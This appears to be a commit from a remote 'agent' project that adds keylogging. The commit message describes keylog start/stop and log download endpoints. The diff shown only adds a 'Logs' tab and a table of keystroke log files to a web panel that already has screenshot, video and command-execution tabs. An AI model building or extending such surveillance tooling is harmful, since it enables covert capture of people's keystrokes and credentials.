Add keylogging functionality to the agent. Implement keylog start/stop, file listing, and download API endpoints. Update web interface to display keystroke logs and allow file downloads.

lib/agent/web/index.html

@@ -145,6 +145,7 @@
     <button data-tab="screenshot">Screenshot</button>
     <button data-tab="video">Video</button>
     <button data-tab="exec">Command</button>
+    <button data-tab="logs">Logs</button>
   </nav>
   <main>
     <section id="status" class="panel active">
@@ -222,6 +223,19 @@
       <p id="exec-meta" class="meta"></p>
       <pre id="exec-out"></pre>
     </section>
+    <section id="logs" class="panel">
+      <div class="row">
+        <h2>Keystroke logs</h2>
+        <button id="log-refresh" class="primary" type="button">Refresh</button>
+      </div>
+      <p id="log-meta" class="meta"></p>
+      <table>
+        <thead>
+          <tr><th>File</th><th>Size</th><th>Modified</th><th></th></tr>
+        </thead>
+        <tbody id="log-rows"></tbody>
+      </table>
+    </section>
   </main>
   <script src="/app.js"></script>
 </body>